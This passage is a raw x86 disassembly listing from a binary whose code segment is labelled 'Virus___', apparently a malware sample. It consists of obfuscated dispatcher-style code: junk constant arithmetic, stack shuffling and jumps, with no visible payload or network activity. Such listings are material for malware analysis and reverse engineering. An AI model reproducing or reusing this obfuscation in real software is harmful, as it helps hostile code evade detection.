61E62B70h xor esi, edi jmp loc_556E50 ; --------------------------------------------------------------------------- loc_55953C: ; CODE XREF: Virus___:005508A3j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 0F74D9FDBh jmp loc_55AA79 ; --------------------------------------------------------------------------- loc_559550: ; CODE XREF: Virus___:005562B3j pop ebx push eax mov eax, 4 add edi, eax pop eax xor edi, [esp] xor [esp], edi jmp loc_5515F2 ; --------------------------------------------------------------------------- loc_559565: ; CODE XREF: Virus___:00552009j add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_553A8E ; --------------------------------------------------------------------------- loc_559577: ; CODE XREF: Virus___:00552A73j add esp, 2 push 2735h mov [esp], ebx jmp loc_555C3D ; --------------------------------------------------------------------------- loc_559587: ; CODE XREF: Virus___:00560E1Cj mov esp, [esp] jmp loc_552995 ; --------------------------------------------------------------------------- loc_55958F: ; CODE XREF: Virus___:005629F8j pop ebp pop ebx sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_54FECA ; --------------------------------------------------------------------------- loc_5595A7: ; CODE XREF: Virus___:0055F61Bj push 36D9h mov [esp], ebx push 11D877A3h mov ebx, [esp] push edx mov edx, esp add edx, 4 jmp loc_55945E ; --------------------------------------------------------------------------- lodsd push edx push ebx mov ebx, 404C3AA9h or ebx, 5BDF03B8h shr ebx, 6 not ebx add ebx, 5406AB36h jmp loc_552C9B ; --------------------------------------------------------------------------- loc_5595E3: ; CODE XREF: Virus___:0055789Fj push ebp mov ebp, 1E6E54A2h or eax, ebp pop ebp and eax, 5E80378Eh add eax, 698118CCh sub eax, 24CA31A5h sub ebp, eax mov eax, [esp] add esp, 4 jmp loc_55ACD5 ; --------------------------------------------------------------------------- loc_559608: ; CODE XREF: Virus___:00559A61j xor edx, 1EF11ECh jmp loc_55C4F2 ; --------------------------------------------------------------------------- loc_559613: ; CODE XREF: Virus___:00560D34j push edi mov edi, 4 sub edx, 7F4E4BFCh jmp loc_55D26C ; --------------------------------------------------------------------------- loc_559624: ; CODE XREF: Virus___:00564307j mov eax, 3B9A5508h and eax, 467C1817h or eax, 16DF4C53h shl eax, 7 jmp loc_55D62C ; --------------------------------------------------------------------------- loc_55963B: ; CODE XREF: Virus___:0055C760j sub dword ptr [esp], 7276D17h jmp loc_5618F8 ; --------------------------------------------------------------------------- loc_559647: ; CODE XREF: Virus___:005526AEj or ebp, 5DE11235h sub ebp, 717555EBh xor ebp, 4CD12BFCh neg ebp neg ebp sub ebp, 0B478246h sub edx, ebp pop ebp pop ebx push ebp jmp loc_563B9B ; --------------------------------------------------------------------------- loc_55966D: ; CODE XREF: Virus___:0055D9C0j push 7D86h mov [esp], ebx push ebp jmp loc_55239F ; --------------------------------------------------------------------------- loc_55967B: ; CODE XREF: Virus___:0056231Bj mov eax, ebx pop ebx add esi, 1D3B183Dh sub esi, eax sub esi, 1D3B183Dh mov eax, [esp] add esp, 4 jmp loc_561770 ; --------------------------------------------------------------------------- mov eax, [esp] push esi mov esi, esp sub esp, 4 jmp loc_563D1A ; --------------------------------------------------------------------------- loc_5596AB: ; CODE XREF: Virus___:00560A5Dj or esi, ebx pop ebx add esi, 3320520Ch push eax mov eax, 6B8D5C98h shl eax, 5 jmp loc_54FA78 ; --------------------------------------------------------------------------- loc_5596C2: ; CODE XREF: Virus___:00555953j push ebp mov ebp, offset dword_57047C mov esi, ebp jmp loc_5551D4 ; --------------------------------------------------------------------------- loc_5596CF: ; CODE XREF: Virus___:005531F2j add edx, 89E800AEh jmp loc_55A703 ; --------------------------------------------------------------------------- loc_5596DA: ; CODE XREF: Virus___:00553B30j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5596DF: ; CODE XREF: Virus___:0055054Ej mov esi, [esp] sub esp, 4 jmp loc_5521DF ; --------------------------------------------------------------------------- loc_5596ED: ; CODE XREF: Virus___:0055B915j add ebx, 3E270D34h pop ecx jmp loc_5647F9 ; --------------------------------------------------------------------------- loc_5596F9: ; CODE XREF: Virus___:00553153j add eax, 0DB118D5h jmp loc_559E0C ; --------------------------------------------------------------------------- loc_559703: ; CODE XREF: Virus___:00562A8Ej pop ebp push esi mov esi, 77855746h neg esi add esi, 0CB039C2Ah or ebp, esi pop esi shr ebp, 2 jmp loc_56108A ; --------------------------------------------------------------------------- loc_55971D: ; CODE XREF: Virus___:005621F2j pop esp jmp loc_557F30 ; --------------------------------------------------------------------------- loc_559723: ; CODE XREF: Virus___:0055C1B8j push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi push esp jmp loc_55216D ; --------------------------------------------------------------------------- loc_559739: ; CODE XREF: Virus___:0055DD8Fj mov eax, [esp] add esp, 4 jmp loc_55ACA8 ; --------------------------------------------------------------------------- loc_559747: ; CODE XREF: Virus___:00553C15j pop esp push ebx jmp loc_55D2EF ; --------------------------------------------------------------------------- loc_55974E: ; CODE XREF: Virus___:0055BE39j push ebx push 608824BFh jmp loc_55C8CE ; --------------------------------------------------------------------------- loc_559759: ; CODE XREF: Virus___:00558A2Aj push ebx jmp loc_55D2F7 ; --------------------------------------------------------------------------- loc_55975F: ; CODE XREF: Virus___:00559415j add edi, eax sub edi, 206315F6h jmp loc_561385 ; --------------------------------------------------------------------------- loc_55976C: ; CODE XREF: Virus___:0055B401j add ebp, ebx pop ebx sub esp, 4 mov [esp], esi push edx sub esp, 4 mov [esp], ebx mov ebx, 61336A0Fh jmp loc_55A26A ; --------------------------------------------------------------------------- loc_559789: ; CODE XREF: Virus___:0055CB7Fj mov ebx, esp jmp loc_557A65 ; --------------------------------------------------------------------------- loc_559790: ; CODE XREF: Virus___:0054FA33j mov ecx, [esp] jmp loc_5548D5 ; --------------------------------------------------------------------------- loc_559798: ; CODE XREF: Virus___:00560F5Aj push edx jmp loc_55264A ; --------------------------------------------------------------------------- loc_55979E: ; CODE XREF: Virus___:00559514j add esp, 4 sub al, dh jmp loc_553DD6 ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx push 4015h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_555CAA ; --------------------------------------------------------------------------- loc_5597C1: ; CODE XREF: Virus___:0055D7DFj shl eax, 4 neg eax add eax, 20693C13h shl eax, 6 xor eax, 0E7F67AF1h jmp loc_5568BE ; --------------------------------------------------------------------------- loc_5597D8: ; CODE XREF: Virus___:00557679j sub eax, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_553006 ; --------------------------------------------------------------------------- loc_5597E6: ; CODE XREF: Virus___:005521FDj add ebx, 0FF1F6BDFh and eax, ebx push dword ptr [esp] pop ebx push edx mov edx, esp jmp loc_55C4F9 ; --------------------------------------------------------------------------- loc_5597FA: ; CODE XREF: Virus___:00555C9Fj sub ecx, 0FFFFFFFFh xor ecx, 7C67917Dh mov esi, ecx mov ecx, [esp] add esp, 4 shl esi, 8 shl esi, 1 jmp loc_56366F ; --------------------------------------------------------------------------- loc_55981B: ; CODE XREF: Virus___:0055857Aj mov esi, 70F77631h shl esi, 7 shr esi, 2 and esi, 2FDE1253h xor esi, 26550FFBh xor esi, 47CB44A0h sub esi, 566E4346h jmp loc_55C550 ; --------------------------------------------------------------------------- loc_559843: ; CODE XREF: Virus___:00555782j add ebx, 74BA4F89h add ebx, esi push 8D0h jmp loc_555EB7 ; --------------------------------------------------------------------------- loc_559855: ; CODE XREF: Virus___:00553C43j pop eax jmp loc_55C870 ; --------------------------------------------------------------------------- loc_55985B: ; CODE XREF: Virus___:00556400j xor esi, edi jmp loc_5618CA ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax jmp loc_5617FF ; --------------------------------------------------------------------------- loc_55986B: ; CODE XREF: Virus___:005600ECj push 3FF8h mov [esp], edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55315F ; --------------------------------------------------------------------------- loc_559892: ; CODE XREF: Virus___:0055D8ACj sub ecx, 83E8819Ah add esi, ecx pop ecx add esi, eax sub esi, 3B167646h pop eax xchg esi, [esp] mov esp, [esp] movsx ecx, al push 1A88h mov [esp], ecx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5598BA: ; CODE XREF: Virus___:00557216j mov edi, [esp] add esp, 4 pop eax add eax, 4 push 4882h mov [esp], edi jmp loc_55E047 ; --------------------------------------------------------------------------- loc_5598D6: ; CODE XREF: Virus___:00553205j mov edx, [esp] jmp loc_55A4C1 ; --------------------------------------------------------------------------- loc_5598DE: ; CODE XREF: Virus___:00560720j add ebp, edi pop edi sub esp, 4 mov [esp], edi mov edi, 6C915CC4h add ebp, edi pop edi jmp loc_55C95E ; --------------------------------------------------------------------------- loc_5598F4: ; CODE XREF: Virus___:005647DFj mov esp, [esp] inc byte ptr [esp] pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559900: ; CODE XREF: Virus___:0055D198j mov [esp], ebx push esp mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], edi mov edi, esp push edx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_55AF93 ; --------------------------------------------------------------------------- loc_559953: ; CODE XREF: Virus___:0055D13Aj push edi mov edi, 7DA84EC1h mov ecx, edi pop edi sub ecx, edx mov edx, [esp] push edi jmp loc_557253 ; --------------------------------------------------------------------------- loc_559967: ; CODE XREF: Virus___:0055A67Ej mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_563C03 ; --------------------------------------------------------------------------- loc_559979: ; CODE XREF: Virus___:0055F42Bj xor esi, eax pop eax jmp loc_55FE9C ; --------------------------------------------------------------------------- loc_559981: ; CODE XREF: Virus___:00563128j mov edx, eax pop eax shr edx, 8 jmp loc_55B8C9 ; --------------------------------------------------------------------------- loc_55998C: ; CODE XREF: Virus___:0056366Aj push esp pop edi add edi, 4 push ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 4 add esi, 45A865C1h add esi, ecx sub esi, 45A865C1h pop ecx push ecx mov ecx, 2 add esi, ecx mov ecx, [esp] add esp, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov cx, [esp] sub esp, 4 mov [esp], edx push esp jmp loc_55CFB2 ; --------------------------------------------------------------------------- loc_5599FB: ; CODE XREF: Virus___:00561693j pop esi push edi push eax push 3FBF2517h mov eax, [esp] jmp loc_552700 ; --------------------------------------------------------------------------- loc_559A0B: ; CODE XREF: Virus___:0055CA0Ej add ecx, edi pop edi xchg ecx, [esp] pop esp jmp loc_5622B4 ; --------------------------------------------------------------------------- loc_559A17: ; CODE XREF: Virus___:00561AADj shl ebx, 6 add ebx, 1 jmp loc_560214 ; --------------------------------------------------------------------------- loc_559A25: ; CODE XREF: Virus___:0055CFE3j mov [esp], esi mov esi, 3C7E5673h sub eax, 593109A0h sub eax, esi jmp loc_556BBE ; --------------------------------------------------------------------------- loc_559A39: ; CODE XREF: Virus___:0055EA34j sub ebp, 319A708Ah add ebp, edx push edx push eax mov eax, 59681AA9h or eax, 51A1731Ch or eax, 5F865221h shr eax, 4 push edx mov edx, 25AE60FDh and edx, 1A0A388Ah jmp loc_559608 ; --------------------------------------------------------------------------- loc_559A66: ; CODE XREF: Virus___:0055D703j push dword ptr [esp] pop eax jmp loc_558525 ; --------------------------------------------------------------------------- loc_559A6F: ; CODE XREF: Virus___:0055EB87j xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_54FD96 ; --------------------------------------------------------------------------- loc_559A7D: ; CODE XREF: Virus___:00558F07j add ebx, 57082205h push esi jmp loc_5542F4 ; --------------------------------------------------------------------------- loc_559A89: ; CODE XREF: Virus___:00561EA0j add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp mov ebp, 3FCh push ecx push 382513A4h pop ecx sub edi, ecx pop ecx push ecx mov ecx, 7C1C7C89h jmp loc_55C090 ; --------------------------------------------------------------------------- loc_559AAF: ; CODE XREF: Virus___:0055AAAAj push 4699h jmp loc_55507B ; --------------------------------------------------------------------------- loc_559AB9: ; CODE XREF: Virus___:005630EBj or ebx, 3555065Eh jmp loc_55D168 ; --------------------------------------------------------------------------- loc_559AC4: ; CODE XREF: Virus___:0055FE97j add ch, bl add ch, 0Ah pop bx sub al, 69h add al, ch jmp loc_556552 ; --------------------------------------------------------------------------- loc_559AD4: ; CODE XREF: Virus___:005509DDj sub edx, 7902078Fh sub ebx, edx jmp loc_55F252 ; --------------------------------------------------------------------------- loc_559AE1: ; CODE XREF: Virus___:00563976j xor edx, 549CB635h jmp loc_55DE0D ; --------------------------------------------------------------------------- loc_559AEC: ; CODE XREF: Virus___:0055A893j add edx, 0F30F1207h add ebp, 62001932h add ebp, edx sub ebp, 62001932h pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5635B2 ; --------------------------------------------------------------------------- loc_559B10: ; CODE XREF: Virus___:00555A0Ej add eax, edx pop edx add ebx, eax pop eax xchg ebx, [esp] pop esp jmp loc_55BFAC ; --------------------------------------------------------------------------- loc_559B1F: ; CODE XREF: Virus___:0055A007j sub esi, 44362A45h sub esi, edx add esi, 44362A45h push ecx mov ecx, 50126B92h neg ecx sub ecx, 36641B05h xor ecx, 61267C22h jmp loc_5649B0 ; --------------------------------------------------------------------------- loc_559B46: ; CODE XREF: Virus___:005580B6j sub al, 0F2h add al, ch add al, 0F2h push ebx mov bh, 0C9h add bh, 50h add al, 48h add al, bh sub al, 48h mov ebx, [esp] add esp, 4 pop ecx sub al, bh jmp loc_55DEB8 ; --------------------------------------------------------------------------- loc_559B69: ; CODE XREF: Virus___:0055FC8Bj add esp, 4 pop ebp xor ebp, 51D50EBEh pop ebx and eax, ebp pop ebp or eax, eax jz loc_558DB6 push dword ptr [edi+28h] push edi push edx mov edx, 0DDE3116h xor edx, 5DA97F27h or edx, 4CCF1B44h jmp loc_557C5E ; --------------------------------------------------------------------------- loc_559B9D: ; CODE XREF: Virus___:0055C31Cj push 64D4h jmp loc_55FFF2 ; --------------------------------------------------------------------------- loc_559BA7: ; CODE XREF: Virus___:0055C6FFj neg edx or edx, 788C362Bh neg edx neg edx sub edx, 0C189C38Fh push 2EEFh mov [esp], esi push ebp push edi push 2BFF4F94h pop edi or edi, 1FCD6995h or edi, 70CD23F5h xor edi, 33561506h mov ebp, edi pop edi add ebp, 84F39913h push ebp jmp loc_55F088 ; --------------------------------------------------------------------------- loc_559BEA: ; CODE XREF: Virus___:00562293j add [esp+4], ebx sub dword ptr [esp+4], 0CD42C00h push dword ptr [esp] pop ebx jmp loc_55D603 ; --------------------------------------------------------------------------- loc_559BFF: ; CODE XREF: Virus___:0056236Aj push edx jmp loc_558383 ; --------------------------------------------------------------------------- loc_559C05: ; CODE XREF: Virus___:005593FFj xor ch, dh mov edx, [esp] add esp, 4 jmp loc_558C10 ; --------------------------------------------------------------------------- mov cx, [esp] push ebx push esp pop ebx add ebx, 4 push edx mov edx, 0B8F0896h push eax mov eax, 1 sub edx, 42A231C9h add edx, eax add edx, 42A231C9h pop eax push esi mov esi, 6DFD0D18h neg esi add esi, 6DFD0D19h add edx, esi jmp loc_557193 ; --------------------------------------------------------------------------- loc_559C4F: ; CODE XREF: Virus___:0055238Fj shl ecx, 4 add ecx, 1 push ebp jmp loc_55926B ; --------------------------------------------------------------------------- loc_559C5E: ; CODE XREF: Virus___:005536B3j add bl, 50h jmp loc_5532B5 ; --------------------------------------------------------------------------- loc_559C66: ; CODE XREF: Virus___:00551F06j mov [esp], ecx jmp loc_55F1F7 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559C75: ; CODE XREF: Virus___:0055F958j mov edi, 74E3727Bh jmp loc_559F7B ; --------------------------------------------------------------------------- loc_559C7F: ; CODE XREF: Virus___:00563C45j sub ebx, 4FD16971h sub ebx, 4C687C7Ah mov ebp, [esp] add esp, 4 xor edx, eax jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559C98: ; CODE XREF: Virus___:005628BEj push 0C60h mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_55EB9D ; --------------------------------------------------------------------------- loc_559CAB: ; CODE XREF: Virus___:0056471Aj dec al push cx mov cl, 65h and al, cl pop cx neg al xor al, 0C0h mov ch, al jmp loc_563E33 ; --------------------------------------------------------------------------- loc_559CC0: ; CODE XREF: Virus___:00553970j add eax, ebp jmp loc_5614F8 ; --------------------------------------------------------------------------- loc_559CC7: ; CODE XREF: Virus___:00560E22j add ebp, 37D14C5Ah add ebp, ebx sub ebp, 37D14C5Ah push dword ptr [esp] jmp loc_560182 ; --------------------------------------------------------------------------- loc_559CDD: ; CODE XREF: Virus___:005631E3j add eax, esi jmp loc_560DFC ; --------------------------------------------------------------------------- loc_559CE4: ; CODE XREF: Virus___:00558183j xchg edi, [esp] jmp loc_55372B ; --------------------------------------------------------------------------- loc_559CEC: ; CODE XREF: Virus___:00556276j sub ebp, 0EF5A60EDh jmp loc_55F406 ; --------------------------------------------------------------------------- loc_559CF7: ; CODE XREF: Virus___:00551FE3j not ecx push 7D21h mov [esp], ebp mov ebp, 1347797Eh push edx mov edx, 7D3E3DF7h or ebp, edx pop edx shr ebp, 2 jmp loc_5575F9 ; --------------------------------------------------------------------------- loc_559D17: ; CODE XREF: Virus___:00552645j add ebp, ebx pop ebx push edi mov edi, 4 jmp loc_55EF41 ; --------------------------------------------------------------------------- loc_559D25: ; CODE XREF: Virus___:005506B1j pop edx jmp loc_55ECD2 ; --------------------------------------------------------------------------- loc_559D2B: ; CODE XREF: Virus___:00563F68j mov [esp], eax jmp loc_552C7C ; --------------------------------------------------------------------------- loc_559D33: ; CODE XREF: Virus___:005544B2j sub word ptr [esp+6], 7227h sub [esp+6], di add word ptr [esp+6], 7227h pop di mov ax, [esp] add esp, 2 pop si jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559D56: ; CODE XREF: Virus___:00556395j shr dl, 4 jmp loc_551E75 ; --------------------------------------------------------------------------- loc_559D5E: ; CODE XREF: Virus___:0055F6B0j pop ecx and ebx, edx pop edx shr ebx, 2 sub ebx, 0FB9A959Ah jmp loc_5615DD ; --------------------------------------------------------------------------- loc_559D70: ; CODE XREF: Virus___:00560897j add eax, edi pop edi pop ebp jmp loc_5543E0 ; --------------------------------------------------------------------------- loc_559D79: ; CODE XREF: Virus___:00550171j inc edi shr edi, 2 push edi not dword ptr [esp] pop edi jmp loc_556BAE ; --------------------------------------------------------------------------- loc_559D87: ; CODE XREF: Virus___:005614EDj push esi mov esi, esp jmp loc_55DBFF ; --------------------------------------------------------------------------- loc_559D8F: ; CODE XREF: Virus___:0055B3DBj add [esp+4], ebx add dword ptr [esp+4], 3DA72D4Ch pop ebx jmp loc_5526B3 ; --------------------------------------------------------------------------- loc_559DA1: ; CODE XREF: Virus___:00554D93j add ecx, edi sub ecx, 8ED478Dh jmp loc_561799 ; --------------------------------------------------------------------------- loc_559DAE: ; CODE XREF: Virus___:005555D0j add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_563E7B ; --------------------------------------------------------------------------- loc_559DC9: ; CODE XREF: Virus___:00558881j mov ebx, [esp] push 1B98h mov [esp], ecx mov ecx, esp add ecx, 4 jmp loc_55DD77 ; --------------------------------------------------------------------------- loc_559DE1: ; CODE XREF: Virus___:0055CB5Aj push 69F6h mov [esp], eax mov al, 90h jmp loc_55EE31 ; --------------------------------------------------------------------------- loc_559DF0: ; CODE XREF: Virus___:0055B381j sub dl, 40h jmp loc_55370F ; --------------------------------------------------------------------------- loc_559DF8: ; CODE XREF: Virus___:0055C22Bj push edx sub esp, 4 mov [esp], ebx jmp loc_54FA90 ; --------------------------------------------------------------------------- loc_559E04: ; CODE XREF: Virus___:0055023Dj push ecx mov ecx, esp jmp loc_55EA39 ; --------------------------------------------------------------------------- loc_559E0C: ; CODE XREF: Virus___:005596FEj push ecx mov ecx, 3B5B2A57h shr ecx, 1 add ecx, 44A4708Eh xor ecx, 0AB80A06h xor eax, ecx pop ecx xor eax, 75938D3Ch jmp loc_5594F7 ; --------------------------------------------------------------------------- loc_559E2D: ; CODE XREF: Virus___:0055B46Bj mov ebx, esp jmp loc_555639 ; --------------------------------------------------------------------------- loc_559E34: ; CODE XREF: Virus___:0055DE5Dj mov ebp, [esp] jmp loc_55B7A9 ; --------------------------------------------------------------------------- loc_559E3C: ; CODE XREF: Virus___:00560104j add al, dl add al, 14h pop edx jmp loc_564271 ; --------------------------------------------------------------------------- loc_559E46: ; CODE XREF: Virus___:0055B287j pop ebx jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_559E4C: ; CODE XREF: Virus___:0055B4EEj push esp mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55A6C4 ; --------------------------------------------------------------------------- loc_559E64: ; CODE XREF: Virus___:0055FD54j sub esi, ecx push ebp mov ebp, 0C0F1C7Dh neg ebp not ebp xor ebp, 5F373169h add esi, ebp jmp loc_55D06B ; --------------------------------------------------------------------------- loc_559E7D: ; CODE XREF: Virus___:00558FA9j add eax, 2 xchg eax, [esp] pop esp pop bx push small 1AA8h mov [esp], cx jmp loc_55EEC6 ; --------------------------------------------------------------------------- loc_559E95: ; CODE XREF: Virus___:005515EDj push esi mov esi, 604400h xor eax, esi mov esi, [esp] push edx mov edx, esp add edx, 4 jmp loc_5632BE ; --------------------------------------------------------------------------- loc_559EAE: ; CODE XREF: Virus___:005646F4j mov edx, 23130349h and edx, 943A48h add edx, 0FFEFFDBCh add esi, edx pop edx jmp loc_560B20 ; --------------------------------------------------------------------------- loc_559EC7: ; CODE XREF: Virus___:00563D27j mov edx, eax pop eax or ecx, edx pop edx neg ecx neg ecx push edx mov edx, 61987266h xor edx, 6EB256A9h xor ecx, edx pop edx add esi, ecx pop ecx pop eax add esi, 2 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_55A448 ; --------------------------------------------------------------------------- loc_559EF9: ; CODE XREF: Virus___:00550DF4j mov [esp], edi jmp loc_561FBF ; --------------------------------------------------------------------------- loc_559F01: ; CODE XREF: Virus___:0055AA9Cj add eax, ebp add eax, 11411216h push dword ptr [esp] jmp loc_550735 ; --------------------------------------------------------------------------- loc_559F10: ; CODE XREF: Virus___:0055FDBFj or edx, eax shl edx, 1 sub esp, 4 mov [esp], eax push edi push ecx push edx mov edx, 53D76B19h push 6B70h mov [esp], ecx mov ecx, 55EA5ABEh shr ecx, 3 dec ecx and ecx, 3B963033h or ecx, 5DE84536h xor ecx, 5F2E0E13h xor edx, ecx pop ecx mov ecx, edx mov edx, [esp] push ebp mov ebp, esp jmp loc_550CB4 ; --------------------------------------------------------------------------- loc_559F58: ; CODE XREF: Virus___:0056176Bj push 10650092h pop ebx push ebx pop edi pop ebx mov ebx, edi jmp loc_56499D ; --------------------------------------------------------------------------- loc_559F68: ; CODE XREF: Virus___:0054F80Fj add edi, ebx pop ebx mov esi, [esp] jmp loc_550FDF ; --------------------------------------------------------------------------- loc_559F73: ; CODE XREF: Virus___:0055FFEDj xchg ebx, [esp] jmp loc_5617F6 ; --------------------------------------------------------------------------- loc_559F7B: ; CODE XREF: Virus___:00559C7Aj or edi, 423B07CCh push ebp mov ebp, 47AA5EF8h or edi, ebp pop ebp jmp loc_55B89C ; --------------------------------------------------------------------------- loc_559F8F: ; CODE XREF: Virus___:00557F80j push ecx mov cl, dh mov bh, cl pop ecx mov al, bh jmp loc_557B53 ; --------------------------------------------------------------------------- loc_559F9C: ; CODE XREF: Virus___:0056473Aj xchg edx, ecx xchg edi, edx xchg esi, edi not esi xchg esi, edi xchg edi, edx jmp loc_5564E1 ; --------------------------------------------------------------------------- loc_559FAD: ; CODE XREF: Virus___:0055B361j shr eax, 2 jmp loc_55E1FC ; --------------------------------------------------------------------------- loc_559FB5: ; CODE XREF: Virus___:0055E65Dj pop edx add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55C4D9 ; --------------------------------------------------------------------------- loc_559FCA: ; CODE XREF: Virus___:0055D318j push eax mov eax, esp jmp loc_55F38D ; --------------------------------------------------------------------------- loc_559FD2: ; CODE XREF: Virus___:005649E5j shr edi, 8 sub edi, 0D19E3D8Dh jmp loc_550483 ; --------------------------------------------------------------------------- loc_559FE0: ; CODE XREF: Virus___:00551E55j add edi, ebx pop ebx push ebp jmp loc_5606E5 ; --------------------------------------------------------------------------- loc_559FE9: ; CODE XREF: Virus___:00550445j push 25BB3A26h pop eax not eax jmp loc_5616E2 ; --------------------------------------------------------------------------- loc_559FF6: ; CODE XREF: Virus___:005544F0j mov edx, 11055761h sub esi, 58C24230h sub esi, 18AF054Bh jmp loc_559B1F ; --------------------------------------------------------------------------- loc_55A00C: ; CODE XREF: Virus___:00554F80j pop edi sub ecx, edx pop edx push ecx mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop ecx sub [edi+24h], eax push dword ptr [esp] pop eax add esp, 4 loc_55A035: ; CODE XREF: Virus___:0055F265j push ebx push eax mov eax, 2A7C3CD8h sub dword ptr [esp+4], 70264E0Eh sub [esp+4], eax add dword ptr [esp+4], 70264E0Eh pop eax jmp loc_560259 ; --------------------------------------------------------------------------- loc_55A056: ; CODE XREF: Virus___:0055D163j mov [esp], ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax push edx jmp loc_5517AE ; --------------------------------------------------------------------------- loc_55A06F: ; CODE XREF: Virus___:0055CCAEj add edx, ecx pop ecx xor edx, 247E52F3h push edx xor dword ptr [esp], 311E08ACh pop esi xor esi, 311E08ACh mov edx, [esp] add esp, 4 jmp loc_56077F ; --------------------------------------------------------------------------- loc_55A092: ; CODE XREF: Virus___:0054FF48j push edx push 25D53A40h pop edx shl edx, 7 jmp loc_55E14C ; --------------------------------------------------------------------------- loc_55A0A1: ; CODE XREF: Virus___:00556639j inc esi and esi, 0CD55D57h shl esi, 6 xor esi, 0BC366BC1h add edx, esi pop esi push eax mov eax, 24C92B41h sub ecx, eax pop eax add ecx, 6A7327C4h jmp loc_554D84 ; --------------------------------------------------------------------------- loc_55A0C8: ; CODE XREF: Virus___:00556087j push 7891h jmp loc_562362 ; --------------------------------------------------------------------------- loc_55A0D2: ; CODE XREF: Virus___:0055591Dj add ecx, 0BDB7B117h add ebx, ecx mov ecx, [esp] jmp loc_556D9B ; --------------------------------------------------------------------------- loc_55A0E2: ; CODE XREF: Virus___:005639E2j mov [esp], ecx mov cl, 0DDh jmp loc_555003 ; --------------------------------------------------------------------------- loc_55A0EC: ; CODE XREF: Virus___:005573E1j mov esp, [esp] add ebx, ecx push ebp mov ebp, 18264DE7h xor ebp, 35E059CEh sub ebx, 3F124DDDh sub ebx, ebp add ebx, 3F124DDDh pop ebp pop ecx push 3023h mov [esp], ecx mov ecx, 2Ch push ebx mov ebx, esp jmp loc_55A9E0 ; --------------------------------------------------------------------------- loc_55A122: ; CODE XREF: Virus___:0055D58Aj push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_55CEFF ; --------------------------------------------------------------------------- loc_55A131: ; CODE XREF: Virus___:0055E6D6j push dword ptr [esp] pop ecx add esp, 4 push ebx mov ebx, esp jmp loc_553FE8 ; --------------------------------------------------------------------------- loc_55A140: ; CODE XREF: Virus___:00552B4Aj add esi, 4 jmp loc_552344 ; --------------------------------------------------------------------------- loc_55A14B: ; CODE XREF: Virus___:005550F1j movzx eax, al jmp loc_5628B7 ; --------------------------------------------------------------------------- loc_55A153: ; CODE XREF: Virus___:0055D2D5j push ebx mov ebx, 570A491Ah add eax, ebx pop ebx pop edi jmp loc_553D45 ; --------------------------------------------------------------------------- loc_55A162: ; CODE XREF: Virus___:00558DA0j mov [esp], ebp mov ebp, 0BC0714Bh sub ebp, 3D432196h push esi push 0C663F77h jmp loc_5527FC ; --------------------------------------------------------------------------- loc_55A17B: ; CODE XREF: Virus___:0055B44Dj mov bh, al mov eax, [esp] add esp, 4 pop edx jmp loc_55D7C3 ; --------------------------------------------------------------------------- loc_55A189: ; CODE XREF: Virus___:00558FD9j pop esi pop ecx add eax, 2 xchg eax, [esp] mov esp, [esp] sub [esp], al pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_55A19F: ; CODE XREF: Virus___:0055C959j mov ebx, [esp] add esp, 4 push ebx mov ebx, 6D46CAAh jmp loc_55A853 ; --------------------------------------------------------------------------- loc_55A1B0: ; CODE XREF: Virus___:00560B36j xor esi, [ebx] push dword ptr [esp] pop ebx add esp, 4 mov eax, [esp] jmp loc_56475F ; --------------------------------------------------------------------------- loc_55A1C1: ; CODE XREF: Virus___:0055D5D2j xor al, bl jmp loc_5516A8 ; --------------------------------------------------------------------------- loc_55A1C8: ; CODE XREF: Virus___:00557F3Cj add esp, 4 jmp loc_555CE3 ; --------------------------------------------------------------------------- loc_55A1D3: ; CODE XREF: Virus___:005591B7j mov [esp], edx push esp mov edx, [esp] add esp, 4 jmp loc_56424B ; --------------------------------------------------------------------------- loc_55A1E5: ; CODE XREF: Virus___:00550B81j mov ecx, 5CC95FF4h push edx mov edx, 354F6493h push 6DE73B7Dh pop ebx add ebx, 12203E76h add ebx, edx push ecx jmp loc_55C582 ; --------------------------------------------------------------------------- loc_55A204: ; CODE XREF: Virus___:0055C4E2j push eax push ecx jmp loc_550682 